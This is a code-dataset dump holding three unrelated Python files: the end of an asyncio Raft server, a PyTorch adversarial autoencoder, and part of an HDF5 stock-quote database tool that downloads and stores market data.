self._send_hbeat()\n await asyncio.sleep(\n ELECTION_TIMEOUT * 0.9\n ) # Just in case there is high latency\n\n async def _run_election_task(self):\n self._current_term += 1\n self._leader_hbeat.set()\n last_log_index = self._last_applied\n last_log_term = (\n 0 if not len(self._log) > last_log_index else self._log[last_log_index].term\n )\n voting_rpcs = list(\n map(\n lambda s: asyncio.create_task(\n s.request_vote(\n self._current_term, self.id, last_log_index, last_log_term\n )\n ),\n filter(lambda s: s is not self, self._cluster),\n )\n )\n granted_votes = 1 # 1 -> its own vote\n votes = 1\n election_win = False\n for next_vote in asyncio.as_completed(voting_rpcs, timeout=RPC_TIMEOUT):\n try:\n vote = (await next_vote).result()\n granted_votes += int(vote)\n except asyncio.TimeoutError:\n pass\n votes += 1\n if granted_votes >= int(\n len(self._cluster) * (1 - FLEXIBLE_PAXOS_QUORUM) + 1\n ): # Equal because itself is not considered\n election_win = True\n if election_win:\n self._change_state(State.LEADER)\n\n async def _queue_command(self, command: Command):\n await self._commands_queue.put(command)\n\n async def _send_hbeat(self):\n for server in filter(lambda s: s != self, self.cluster):\n task = asyncio.create_task(\n server.append_entries(\n self._current_term,\n self.id,\n self._last_applied,\n self._log[self._last_applied].term,\n None,\n self._commit_index,\n )\n )\n self._append_tasks[server.id].append(task)\n\n def _change_state(self, new_state: State):\n if new_state is State.FOLLOWER:\n self._cancel_leader_tasks()\n self._cancel_candidate_tasks()\n self._timeout_task = asyncio.create_task(self._run_timeout_task())\n self._state = State.FOLLOWER\n elif new_state is State.LEADER:\n if self._timeout_task and not self._timeout_task.cancelled():\n self._timeout_task.cancel()\n self._hbeat_task = asyncio.create_task(self._run_hbeat_task())\n self._entries_task = asyncio.create_task(self._run_entries_task_())\n self._state = State.LEADER\n elif new_state is State.CANDIDATE:\n self._cancel_leader_tasks()\n self._cancel_candidate_tasks()\n self._election_task = asyncio.create_task(self._run_election_task())\n self._state = State.CANDIDATE\n\n def _cancel_leader_tasks(self):\n if self._hbeat_task and not self._hbeat_task.cancelled():\n self._hbeat_task.cancel()\n if self._entries_task and not self._entries_task.cancelled():\n self._entries_task.cancel()\n self._cancel_append_tasks()\n self._cluster_locks.clear()\n\n def _cancel_append_tasks(self):\n for server_tasks in self._append_tasks.values():\n for task in server_tasks:\n if not task.cancelled():\n task.cancel()\n server_tasks.clear()\n\n def _cancel_candidate_tasks(self):\n if self._election_task and not self._election_task.cancelled():\n self._election_task.cancel()\n\n def _im_leader(self):\n return self._state is State.LEADER\n\n async def _append_entry_task(\n self, server: rpc.RemoteRaftServer, entries_index: int\n ):\n async with self._cluster_locks[server.id]:\n while True:\n try:\n await server.append_entries(\n self._current_term,\n self.id,\n max(entries_index - 1, 0),\n self._log[max(entries_index - 1, 0)].term,\n self._log[entries_index:],\n self._commit_index,\n )\n break\n except TermConsistencyError as error:\n self._current_term = error.term\n self._change_state(State.FOLLOWER)\n break\n except EntriesConsistencyError:\n entries_index = max(entries_index - 1, 0)\n except:\n pass # Network error, so retry until it answers\n", "repo_name": "aratz-lasa/py-raft", "sub_path": "raft_asyncio/server.py", "file_name": "server.py", "file_ext": "py", "file_size_in_byte": 9961, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 26, "usage_type": "name"}, {"api_name": "rpc.rpc.RemoteRaftServer", "line_number": 26, "usage_type": "attribute"}, {"api_name": "rpc.rpc", "line_number": 26, "usage_type": "name"}, {"api_name": "asyncio.Event", "line_number": 28, "usage_type": "call"}, {"api_name": "asyncio.start_server", "line_number": 33, "usage_type": "call"}, {"api_name": "rpc.protocol.read_decode_msg", "line_number": 38, "usage_type": "call"}, {"api_name": "rpc.protocol", "line_number": 38, "usage_type": "name"}, {"api_name": "rpc.rpc.handle_request", "line_number": 40, "usage_type": "call"}, {"api_name": "rpc.rpc", "line_number": 40, "usage_type": "name"}, {"api_name": "abc.IRaftServer", "line_number": 46, "usage_type": "name"}, {"api_name": "state_machine.RaftStateMachine", "line_number": 46, "usage_type": "name"}, {"api_name": "state_machine.State", "line_number": 48, "usage_type": "name"}, {"api_name": "state_machine.State.FOLLOWER", "line_number": 48, "usage_type": "attribute"}, {"api_name": "state_machine.RaftStateMachine.__init__", "line_number": 51, "usage_type": "call"}, {"api_name": "state_machine.RaftStateMachine", "line_number": 51, "usage_type": "name"}, {"api_name": "asyncio.Queue", "line_number": 61, "usage_type": "call"}, {"api_name": "state_machine.Command", "line_number": 80, "usage_type": "call"}, {"api_name": "rpc.rpc.RemoteRaftServer", "line_number": 98, "usage_type": "call"}, {"api_name": "rpc.rpc", "line_number": 98, "usage_type": "name"}, {"api_name": "asyncio.wait_for", "line_number": 121, "usage_type": "call"}, {"api_name": "asyncio.TimeoutError", "line_number": 124, "usage_type": "attribute"}, {"api_name": "state_machine.State.CANDIDATE", "line_number": 125, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 125, "usage_type": "name"}, {"api_name": "asyncio.create_task", "line_number": 134, "usage_type": "call"}, {"api_name": "asyncio.as_completed", "line_number": 141, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 151, "usage_type": "call"}, {"api_name": "asyncio.create_task", "line_number": 164, "usage_type": "call"}, {"api_name": "asyncio.as_completed", "line_number": 175, "usage_type": "call"}, {"api_name": "asyncio.TimeoutError", "line_number": 179, "usage_type": "attribute"}, {"api_name": "state_machine.State.LEADER", "line_number": 187, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 187, "usage_type": "name"}, {"api_name": "state_machine.Command", "line_number": 189, "usage_type": "name"}, {"api_name": "asyncio.create_task", "line_number": 194, "usage_type": "call"}, {"api_name": "state_machine.State", "line_number": 206, "usage_type": "name"}, {"api_name": "state_machine.State.FOLLOWER", "line_number": 207, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 207, "usage_type": "name"}, {"api_name": "asyncio.create_task", "line_number": 210, "usage_type": "call"}, {"api_name": "state_machine.State.FOLLOWER", "line_number": 211, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 211, "usage_type": "name"}, {"api_name": "state_machine.State.LEADER", "line_number": 212, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 212, "usage_type": "name"}, {"api_name": "asyncio.create_task", "line_number": 215, "usage_type": "call"}, {"api_name": "asyncio.create_task", "line_number": 216, "usage_type": "call"}, {"api_name": "state_machine.State.LEADER", "line_number": 217, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 217, "usage_type": "name"}, {"api_name": "state_machine.State.CANDIDATE", "line_number": 218, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 218, "usage_type": "name"}, {"api_name": "asyncio.create_task", "line_number": 221, "usage_type": "call"}, {"api_name": "state_machine.State.CANDIDATE", "line_number": 222, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 222, "usage_type": "name"}, {"api_name": "state_machine.State.LEADER", "line_number": 244, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 244, "usage_type": "name"}, {"api_name": "rpc.rpc.RemoteRaftServer", "line_number": 247, "usage_type": "attribute"}, {"api_name": "rpc.rpc", "line_number": 247, "usage_type": "name"}, {"api_name": "state_machine.State.FOLLOWER", "line_number": 263, "usage_type": "attribute"}, {"api_name": "state_machine.State", "line_number": 263, "usage_type": "name"}]} {"seq_id": "27891839797", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n\n\nclass ConvEncoder(nn.Module):\n def __init__(self, num_input_channels: int=1, num_filters: int=32,\n z_dim: int=8, act_fn: nn.Module=nn.ReLU):\n \"\"\"\n Convolutional Encoder network with Convolution and Linear layers, ReLU activations. The output layer\n uses a Fully connected layer to embed the representation to a latent code with z_dim dimension.\n Inputs:\n z_dim - Dimensionality of the latent code space.\n \"\"\"\n super().__init__()\n # For an intial architecture, you can use the encoder of Tutorial 9.\n # Feel free to experiment with the architecture yourself, but the one specified here is\n # sufficient for the assignment.\n c_hid = num_filters\n self.net = nn.Sequential(\n nn.Conv2d(num_input_channels, c_hid, kernel_size=3, padding=1, stride=2), # 32x32 => 16x16\n act_fn(),\n nn.Conv2d(c_hid, c_hid, kernel_size=3, padding=1),\n act_fn(),\n nn.Conv2d(c_hid, 2*c_hid, kernel_size=3, padding=1, stride=2), # 16x16 => 8x8\n act_fn(),\n nn.Conv2d(2*c_hid, 2*c_hid, kernel_size=3, padding=1),\n act_fn(),\n nn.Conv2d(2*c_hid, 2*c_hid, kernel_size=3, padding=1, stride=2), # 8x8 => 4x4\n act_fn(),\n nn.Flatten(), # Image grid to single feature vector\n nn.Linear(2*16*c_hid, z_dim)\n )\n # self.mean = nn.Linear(2 * 16 * num_filters, z_dim)\n # self.log_std = nn.Linear(2 * 16 * num_filters, z_dim)\n\n def forward(self, x):\n \"\"\"\n Inputs:\n x - Input batch of Images. Shape: [B,C,H,W]\n Outputs:\n z - Output of latent codes [B, z_dim]\n \"\"\"\n x = x.float() / 15 * 2.0 - 1.0 # Move images between -1 and 1\n z = self.net(x)\n \n return z\n\n @property\n def device(self):\n \"\"\"\n Property function to get the device on which the generator is\n \"\"\"\n return next(self.parameters()).device\n\n\nclass ConvDecoder(nn.Module):\n def __init__(self, num_input_channels: int=1, num_filters: int=32,\n z_dim: int=8, act_fn: nn.Module=nn.ReLU):\n \"\"\"\n Convolutional Decoder network with linear and deconvolution layers and ReLU activations. The output layer\n uses a Tanh activation function to scale the output between -1 and 1.\n Inputs:\n z_dim - Dimensionality of the latent code space.\n \"\"\"\n super().__init__()\n c_hid = num_filters\n self.linear = nn.Sequential(\n nn.Linear(z_dim, 2*16*c_hid),\n act_fn()\n )\n self.net = nn.Sequential(\n nn.ConvTranspose2d(2*c_hid, 2*c_hid, kernel_size=3, output_padding=0, padding=1, stride=2), # 4x4 => 7x7\n act_fn(),\n nn.Conv2d(2*c_hid, 2*c_hid, kernel_size=3, padding=1),\n act_fn(),\n nn.ConvTranspose2d(2*c_hid, c_hid, kernel_size=3, output_padding=1, padding=1, stride=2), # 7x7 => 14x14\n act_fn(),\n nn.Conv2d(c_hid, c_hid, kernel_size=3, padding=1),\n act_fn(),\n nn.ConvTranspose2d(c_hid, num_input_channels, kernel_size=3, output_padding=1, padding=1, stride=2), # 14x14 => 28x28\n nn.Tanh() # The input images is scaled between -1 and 1, hence the output has to be bounded as well\n )\n\n def forward(self, z):\n \"\"\"\n Inputs:\n z - Batch of latent codes. Shape: [B,z_dim]\n Outputs:\n recon_x - Reconstructed image of shape [B,C,H,W]\n \"\"\"\n recon_x = self.linear(z)\n recon_x = recon_x.reshape(recon_x.shape[0], -1, 4, 4)\n recon_x = self.net(recon_x)\n \n return recon_x\n\n\nclass Discriminator(nn.Module):\n def __init__(self, n_hidden: int=512, z_dim: int=8, act_fn: nn.Module=nn.LeakyReLU(negative_slope=0.2)):\n \"\"\"\n Discriminator network with linear layers and LeakyReLU activations.\n Inputs:\n z_dim - Dimensionality of the latent code space.\n \"\"\"\n super().__init__()\n # You are allowed to experiment with the architecture and change the activation function, normalization, etc.\n # However, the default setup is sufficient to generate fine images and gain full points in the assignment.\n # As a default setup, we recommend 3 linear layers (512 for hidden units) with LeakyReLU activation functions (negative slope 0.2).\n self.net = nn.Sequential(\n nn.Linear(z_dim, n_hidden),\n act_fn,\n nn.Linear(n_hidden, n_hidden),\n act_fn,\n nn.Linear(n_hidden, 1),\n act_fn\n )\n\n def forward(self, z):\n \"\"\"\n Inputs:\n z - Batch of latent codes. Shape: [B,z_dim]\n Outputs:\n preds - Predictions whether a specific latent code is fake (<0) or real (>0). \n No sigmoid should be applied on the output. Shape: [B,1]\n \"\"\"\n preds = self.net(z)\n \n return preds\n\n @property\n def device(self):\n \"\"\"\n Property function to get the device on which the generator is\n \"\"\"\n return next(self.parameters()).device\n\n\nclass AdversarialAE(nn.Module):\n def __init__(self, z_dim=8):\n \"\"\"\n Adversarial Autoencoder network with a Encoder, Decoder and Discriminator.\n Inputs:\n z_dim - Dimensionality of the latent code space. This is the number of neurons of the code layer\n \"\"\"\n super(AdversarialAE, self).__init__()\n self.z_dim = z_dim\n self.encoder = ConvEncoder(z_dim=z_dim)\n self.decoder = ConvDecoder(z_dim=z_dim)\n self.discriminator = Discriminator(z_dim=z_dim)\n\n def forward(self, x):\n \"\"\"\n Inputs:\n x - Batch of input images. Shape: [B,C,H,W]\n Outputs:\n recon_x - Reconstructed image of shape [B,C,H,W]\n z - Batch of latent codes. Shape: [B,z_dim]\n \"\"\"\n z = self.encoder(x)\n recon_x = self.decoder(z) \n\n return recon_x, z\n\n def get_loss_autoencoder(self, x, recon_x, z_fake, lambda_=1):\n \"\"\"\n Inputs:\n x - Batch of input images. Shape: [B,C,H,W]\n recon_x - Reconstructed image of shape [B,C,H,W]\n z_fake - Batch of latent codes for fake samples. Shape: [B,z_dim]\n lambda_ - The reconstruction coefficient (between 0 and 1).\n\n Outputs:\n recon_loss - The MSE reconstruction loss between actual input and its reconstructed version.\n gen_loss - The Generator loss for fake latent codes extracted from input.\n ae_loss - The combined adversarial and reconstruction loss for AAE\n lambda_ * reconstruction loss + (1 - lambda_) * adversarial loss\n \"\"\"\n recon_loss = nn.MSELoss()(recon_x, x)\n _ , disc_logging_dict = self.get_loss_discriminator(z_fake)\n gen_loss = disc_logging_dict['loss_fake']\n ae_loss = lambda_ * recon_loss + (1 - lambda_) * gen_loss\n # logging\n ae_logging_dict = {'recon_loss': recon_loss.item(),\n 'gen_loss': gen_loss.item(),\n 'ae_loss': ae_loss.item()}\n \n return ae_loss, ae_logging_dict\n\n def get_loss_discriminator(self, z_fake):\n \"\"\"\n Inputs:\n z_fake - Batch of latent codes for fake samples. Shape: [B,z_dim]\n\n Outputs:\n disc_loss - The discriminator loss for real and fake latent codes.\n logging_dict - A dictionary for logging the model performance by following keys:\n disc_loss - The discriminator loss for real and fake latent codes.\n loss_real - The discriminator loss for latent codes sampled from the standard Gaussian prior.\n loss_fake - The discriminator loss for latent codes extracted by encoder from input\n accuracy - The accuracy of the discriminator for both real and fake samples.\n \"\"\"\n z_real = torch.randn_like(z_fake)\n preds_disc_real = self.discriminator(z_real)\n preds_disc_fake = self.discriminator(z_fake)\n loss_real = nn.BCEWithLogitsLoss()(preds_disc_real, torch.ones_like(preds_disc_real))\n loss_fake = nn.BCEWithLogitsLoss()(preds_disc_fake, torch.zeros_like(preds_disc_fake))\n disc_loss = (loss_real + loss_fake) / 2\n acc = (torch.sum(self.discriminator(z_real) > 0) + torch.sum(self.discriminator(z_fake) < 0)) / (z_real.shape[0] * 2)\n # logging\n logging_dict = {'disc_loss': disc_loss,\n 'loss_real': loss_real,\n 'loss_fake': loss_fake,\n 'accuracy': acc}\n \n return disc_loss, logging_dict\n\n @torch.no_grad()\n def sample(self, batch_size):\n \"\"\"\n Function for sampling a new batch of random or conditioned images from the generator.\n Inputs:\n batch_size - Number of images to generate\n Outputs:\n x - Generated images of shape [B,C,H,W]\n \"\"\"\n z = torch.randn(batch_size, self.z_dim, device=self.device)\n x = self.decoder(z)\n \n return x\n\n @property\n def device(self):\n \"\"\"\n Property function to get the device on which the generator is\n \"\"\"\n return self.encoder.device\n\n\n", "repo_name": "abhinav-neil/adversarial-autoencoder", "sub_path": "models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 9499, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "torch.nn.Module", "line_number": 6, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 6, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 8, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 8, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 20, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 20, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 25, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 25, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 29, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 29, "usage_type": "name"}, {"api_name": "torch.nn.Flatten", "line_number": 31, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 31, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 32, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 32, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 57, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 57, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 59, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 59, "usage_type": "attribute"}, {"api_name": "torch.nn.Sequential", "line_number": 68, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 68, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 69, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 69, "usage_type": "name"}, {"api_name": "torch.nn.Sequential", "line_number": 72, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 73, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 73, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 75, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 75, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 77, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 77, "usage_type": "name"}, {"api_name": "torch.nn.Conv2d", "line_number": 79, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 79, "usage_type": "name"}, {"api_name": "torch.nn.ConvTranspose2d", "line_number": 81, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 81, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 82, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 82, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 99, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 99, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 100, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 100, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 100, "usage_type": "call"}, {"api_name": "torch.nn.Sequential", "line_number": 110, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 110, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 111, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 113, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 113, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 115, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 115, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 139, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 139, "usage_type": "name"}, {"api_name": "torch.nn.MSELoss", "line_number": 179, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 179, "usage_type": "name"}, {"api_name": "torch.randn_like", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.nn.BCEWithLogitsLoss", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 206, "usage_type": "name"}, {"api_name": "torch.ones_like", "line_number": 206, "usage_type": "call"}, {"api_name": "torch.nn.BCEWithLogitsLoss", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 207, "usage_type": "name"}, {"api_name": "torch.zeros_like", "line_number": 207, "usage_type": "call"}, {"api_name": "torch.sum", "line_number": 209, "usage_type": "call"}, {"api_name": "torch.randn", "line_number": 227, "usage_type": "call"}, {"api_name": "torch.no_grad", "line_number": 218, "usage_type": "call"}]} {"seq_id": "8102521331", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\"\"\"a collection tools for hd5 stock database \n\n HD5 file structure (data_xx.h5) \n /(RootGroup) 'xx A share'\n /SPLITS (Group) 'splits & dividends' \n /SPLITS /code (Table) ' '\n -> (time,sd, ss, ssp, cd)\n here, sd: stock dividends, ss: stock splits\n ssp: stock splits price, cd: cash dividends\n /DAILY (Group) 'daily quote'\n /DAILY /code (Table) 'name' \n -> (time, open, high, low, close, volume, sum)\n /MIN5 (Group) '5-minute quote'\n /MIN5 /code (Table) 'name' \n -> (time, open, high, low, close, volume, sum) \n\"\"\"\n# ============================================================================\n# imports\n# ============================================================================\n\nimport sys\nimport datetime as dt\nimport os\nimport logging\nimport cStringIO\n\nimport numpy as np\nimport tables as tb\nimport plac\n\nfrom tools import *\nimport fxj_parser as fpar \n\n\n__status__ = \"prototype\"\n\n# ============================================================================\n# defination\n# ============================================================================\nclass DescQuote(tb.IsDescription):\n time = tb.Time32Col(pos=0) # Seconds since 1970.1.1): integer\n open = tb.Float32Col(pos=1) # open price: float\n high = tb.Float32Col(pos=2) # highest price: float\n low = tb.Float32Col(pos=3) # lowest price: float\n close = tb.Float32Col(pos=4) # close price: float\n vol = tb.UInt32Col(pos=5) # volumn(100 share): \n sum = tb.Float32Col(pos=6) # sum: float\n\nclass DescSPLITS(tb.IsDescription):\n \"\"\" struct: date, sending ratio(free), sending ratio (charged), \n sending price, dividend\n \"\"\" \n time = tb.Time32Col(pos=0) # seconds ince 1970.1.1): integer \n sd = tb.Float32Col(pos=1) # songgu ratio: float\n ss = tb.Float32Col(pos=2) # peigu ratio: float\n ssp = tb.Float32Col(pos=3) # peigu ratio: float\n cd = tb.Float32Col(pos=4) # dividend: float\n\nclass SymbolTable(tb.IsDescription):\n code = tb.StringCol(8,pos=0) # code('SH600000') \n name = tb.StringCol(8,pos=1) # name('PuFaYinHang') \n\nMARKETS=['SH','SZ']\nTYPE_DAILY='DAILY'\nTYPE_MIN5 ='MIN5'\nTYPE_SPLITS ='SPLITS'\nTYPE_HD5 = [TYPE_DAILY,TYPE_MIN5,TYPE_SPLITS]\nGRP_DAILY='/DAILY'\nGRP_MIN5='/MIN5'\nGRP_SPLITS='/SPLITS'\nTYPE2GRP = {TYPE_DAILY:'/DAILY',\n TYPE_MIN5:'/MIN5',\n TYPE_SPLITS:'/SPLITS'}\nTYPE2DESC = {TYPE_DAILY:DescQuote,\n TYPE_MIN5:DescQuote,\n TYPE_SPLITS:DescSPLITS}\nTYPE2EXPECTEDROW = {TYPE_DAILY: 10000,\n TYPE_MIN5:10000,\n TYPE_SPLITS:200}\nMK_SH = 'SH'\nMK_SZ = 'SZ'\nMK_INDEX={'SH':'SH000001','SZ':'SZ399001'}\n\n\nDAD_URL = 'http://www.000562.com/fxjdata/'\n# ============================================================================\n# functions\n# ============================================================================\n\n\n# ============================================================================\n# Logging\n# ============================================================================\n# init logging\nlog = logging.getLogger('quote_hd5') \nlog.setLevel(logging.INFO) \n# define a handler which writes INFO messages or higher to sys.stderr\nconsole = logging.StreamHandler()\n#console.setLevel(logging.DEBUG)\n\n# set a format which is simpler for console use\n# tell the handler to use this format\nconsole.setFormatter(\n logging.Formatter('%(levelname)-8s %(message)s') ) \n# add the handler to the log \nlog.addHandler(console)\n\n# ============================================================================\n# HD5 Class\n# ============================================================================\n\nclass QuoteHD5():\n \"\"\" class of quote hd5 DB\n TODO: use external link to combin two HD5s together for convenience\n \"\"\"\n def __init__(self, hd5_path):\n self._hd5fp = {}\n self._last_update={}\n if os.path.isdir(hd5_path):\n hd5_fn= [ os.path.join(hd5_path,'data_sh.h5'),\n os.path.join(hd5_path,'data_sz.h5')]\n else:\n hd5_fn=[hd5_path]\n \n for fn in hd5_fn:\n if os.path.exists(fn):\n fp = tb.openFile(fn, \n mode='r+', \n rootuep=\"/\", \n nodecachesize =1024)\n mk = fp.title[:2]\n if mk in MARKETS:\n self._hd5fp[mk] = fp \n self._last_update[mk] = fp.root._v_attrs.LAST_UPDATE\n log.info('open hd5 file %s' %(fn))\n else:\n log.error('Hd5 file title incorrect: %s' %fp.title)\n fp.close()\n else:\n log.error('file not exists: %s' %(fn))\n\n def __repr__(self):\n tmp=''\n for mk in MARKETS:\n fp = self._hd5fp.get(mk)\n if fp is not None:\n tmp += fp.__str__()\n return tmp\n\n def close(self):\n for fp in self._hd5fp.values():\n log.info('close hd5 file %s' %(fp.filename))\n fp.close()\n\n def get_lastupdate(self):\n rst =[]\n for mk in MARKETS:\n fp = self._hd5fp.get(mk)\n if fp is None: continue\n rst.append('last update date of %s:' %fp.filename)\n for grp in fp.walkGroups():\n tmp = '{0:7}: {1}'.format(grp._v_name, grp._v_attrs.LAST_UPDATE) \n rst.append(tmp)\n print('\\n'.join(rst))\n\n\n def _createHD5(self,name,title='',cache=1024):\n \"\"\" create new hd5 \n \"\"\"\n filters = tb.Filters(complevel=1, \n complib='lzo', \n shuffle=True, \n fletcher32=False)\n \n hd5_fp = tb.openFile(name, \n mode=\"w\", \n title= title, \n rootUEP=\"/\", \n filters =filters, \n nodeCacheSize = cache) \n hd5_fp.root._v_attrs.LAST_UPDATE = '' \n\n dst_daily = hd5_fp.createGroup(hd5_fp.root, \n 'DAILY', title='daily quote')\n dst_daily._v_attrs.LAST_UPDATE = '' \n dst_5min = hd5_fp.createGroup(hd5_fp.root,\n 'MIN5', title='5-minute quote')\n dst_5min._v_attrs.LAST_UPDATE = '' \n dst_splits = hd5_fp.createGroup(hd5_fp.root,\n 'SPLITS', title='splits & dividends')\n dst_splits._v_attrs.LAST_UPDATE = '' \n \n return hd5_fp \n \n def get_lostdate(self, code=None):\n \"\"\"check lost date of 5min DB in given hd5 database\n Note: 5min DB starts from 20051103\n SH index: SH000001, SZ index: SZ399001 \n \n @hd5: hd5 file name\n @code: stock to be checked. if is '', use index of SH or SZ market\n\n return a list of missing date \n \"\"\"\n\n if code is None:\n code = MK_INDEX[MK_SH]\n else:\n code = code.upper()\n #code = 'SZ399001'\n\n #tbl = fp_hd5.root.gMinute._f_getChild(code)\n mk = code[:2]\n try: \n tbl = self._hd5fp[mk].getNode(GRP_MIN5, name=code)\n except (NoSuchNodeError, NameError):\n log.debug('code % not available in DB' %code)\n return None\n\n rec_days = set(map(dtnum2str,tbl[:]['time']))\n work_days = get_workingdays(\n dtnum2str(tbl[0][0]),dtnum2str(tbl[-1][0]))\n lost_date = [x for x in work_days if x not in rec_days]\n self.lost_date = lost_date\n return lost_date\n\n def _append_quote(self,\n data_type,\n data_source,\n checkorder=True):\n \"\"\"append data into hd5 file \n \n @data_type: data type of data source, 'DAILY', 'MIN5', 'SPLITS'\n @dad_source: data to be appended, iteratable, structure likes\n [code,numarray]\n @checkorder: if True, only allow to append data according to \n time order. if False, can append w/o order, means\n later appended data can be earlier than existed data.\n useed to \n \"\"\"\n \n count=[0,0]\n\n for code, data in data_source:\n count[0] += 1\n code = code.upper()\n mk=code[:2]\n if mk not in MARKETS:\n log.error('undefined code prefix %s' %code)\n continue\n fp = self._hd5fp[mk]\n \n grp = fp.getNode(TYPE2GRP[data_type])\n lupdate = grp._v_attrs.LAST_UPDATE\n start = dtstr2num(lupdate) if lupdate else 0\n\n if checkorder:\n rows = data[np.where(data['time'] >= start)]\n if len(rows) < 1:\n log.debug(\n '%s has no data later than %s' %(code, lupdate))\n continue\n else:\n rows = data\n #TODO: process for data sanity check \n \n try:\n tbl = fp.getNode(TYPE2GRP[data_type], name=code)\n except tb.NoSuchNodeError:\n log.debug('create new table for %s' %code)\n tbl = fp.createTable(\n TYPE2GRP[data_type],\n code, \n TYPE2DESC[data_type],\n expectedrows = TYPE2EXPECTEDROW[data_type])\n tbl.append(rows)\n tbl.flush()\n count[1] += 1\n\n # update last_update\n if code in MK_INDEX.values():\n tmp = dtnum2str(rows[-1][0])\n tbl._v_parent._v_attrs.LAST_UPDATE = tmp\n fp.root._v_attrs.LAST_UPDATE = tmp\n \n if data_type == TYPE_SPLITS:\n tmp=dt.datetime.strftime(dt.date.today(),'%Y%m%d')\n for mk in MARKETS:\n self._hd5fp[mk].root.SPLITS._v_attrs.LAST_UPDATE = tmp\n\n log.info('%s of total %s stocks appended into DB' %(\n count[1],count[0]))\n\n def update_hd5(self, url_path=DAD_URL):\n \"\"\"update hd5 to date with dads from web\n\n @url_path: url of dad files located, should end with a '/' \n \"\"\"\n w_days = get_workingdays(self._last_update[MK_SH])\n for day in w_days[1:]:\n for url_type, data_type in [('.dad',TYPE_DAILY), \n ('m.dad',TYPE_MIN5)]:\n url = url_path + day + url_type\n msg = '-'.join([day,data_type.lower()])\n d_tmp = download(url,rep=3)\n if d_tmp is not None:\n #d = src.read()\n fp_tmp = cStringIO.StringIO(d_tmp)\n data_src = fpar.parse_dad(fp_tmp,out_dtfmt=None)\n if data_src:\n log.info('update %s' %msg)\n err = self._append_quote(data_type,data_src)\n data_src.close()\n else:\n log.error('parse %s failed' %msg)\n fp_tmp.close()\n else:\n log.error('download %s failed' %msg)\n \n # update splits data\n url = url_path + 'SPLIT.PWR'\n d_tmp = download(url,rep=3)\n if d_tmp is not None:\n fp_tmp = cStringIO.StringIO(d_tmp)\n data_src = fpar.parse_pwr(fp_tmp, out_dtfmt=None)\n if data_src:\n log.info('update splits')\n err = 